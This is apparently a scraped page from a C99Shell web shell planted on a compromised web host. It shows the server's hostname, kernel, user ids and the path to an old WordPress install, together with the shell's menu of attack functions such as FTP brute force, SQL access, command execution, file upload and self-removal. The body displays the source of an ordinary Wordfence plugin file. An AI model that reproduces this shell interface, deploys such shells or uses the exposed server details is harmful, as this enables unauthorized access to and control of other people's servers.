!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordfence/lib/   drwxr-xr-x
Free 180.59 GB of 490.84 GB (36.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     wfBrowscap.php (3.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class wfBrowscap {
    protected 
$_cacheLoaded false;
    protected 
$_userAgents = array();
    protected 
$_browsers = array();
    protected 
$_patterns = array();
    protected 
$_properties = array();
    protected 
$resultCache = array();
    const 
COMPRESSION_PATTERN_START '@';
    const 
COMPRESSION_PATTERN_DELIMITER '|';
    const 
REGEX_DELIMITER '@';
    
    public static function 
shared() {
        static 
$_browscap null;
        if (
$_browscap === null) {
            
$_browscap = new wfBrowscap();
        }
        return 
$_browscap;
    }

    public function 
getBrowser($user_agent){
        if (!
$this->_cacheLoaded) {
                if (!
$this->_loadCache('wfBrowscapCache.php')) {
                    throw new 
Exception('Cannot load this cache version - the cache format is not compatible.');
                }
            }

        
$browser = array();
        foreach (
$this->_patterns as $pattern => $pattern_data) {
            if (
preg_match($pattern 'i'$user_agent$matches)) {
                if (
== count($matches)) {
                    
$key $pattern_data;

                    
$simple_match true;
                } else {
                    
$pattern_data unserialize($pattern_data);

                    
array_shift($matches);

                    
$match_string self::COMPRESSION_PATTERN_START
                        
implode(self::COMPRESSION_PATTERN_DELIMITER$matches);

                    if (!isset(
$pattern_data[$match_string])) {
                        continue;
                    }

                    
$key $pattern_data[$match_string];

                    
$simple_match false;
                }

                
$browser = array(
                    
$user_agent,
                    
trim(strtolower($pattern), self::REGEX_DELIMITER),
                    
$this->_pregUnQuote($pattern$simple_match false $matches)
                );

                
$browser $value $browser unserialize($this->_browsers[$key]);

                while (
array_key_exists(3$value)) {
                    
$value unserialize($this->_browsers[$value[3]]);
                    
$browser += $value;
                }

                if (!empty(
$browser[3])) {
                    
$browser[3] = $this->_userAgents[$browser[3]];
                }

                break;
            }
        }

        
$array = array();
        foreach (
$browser as $key => $value) {
            if (
$value === 'true') {
                
$value true;
            } elseif (
$value === 'false') {
                
$value false;
            }
            
$array[$this->_properties[$key]] = $value;
        }

        return 
$array;
    }
    protected function 
_loadCache($cache_file){
        
$cache_version  null;
        
$source_version null;
        
$browsers       = array();
        
$userAgents     = array();
        
$patterns       = array();
        
$properties     = array();

        
$this->_cacheLoaded false;

        require 
$cache_file;

        
$this->_source_version $source_version;
        
$this->_browsers       $browsers;
        
$this->_userAgents     $userAgents;
        
$this->_patterns       $patterns;
        
$this->_properties     $properties;

        
$this->_cacheLoaded true;

        return 
true;
    }
    protected function 
_pregUnQuote($pattern$matches){
        
$search  = array(
            
'\\' self::REGEX_DELIMITER'\\.''\\\\''\\+''\\[''\\^''\\]''\\$''\\(''\\)''\\{''\\}',
            
'\\=''\\!''\\<''\\>''\\|''\\:''\\-''.*''.''\\?'
        
);
        
$replace = array(
            
self::REGEX_DELIMITER'\\?''\\''+''[''^'']''$''('')''{''}''=''!''<''>''|',
            
':''-''*''?''.'
        
);

        
$result substr(str_replace($search$replace$pattern), 2, -2);

        if (
$matches) {
            foreach (
$matches as $one_match) {
                
$num_pos strpos($result'(\d)');
                
$result  substr_replace($result$one_match$num_pos4);
            }
        }

        return 
$result;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0115 ]--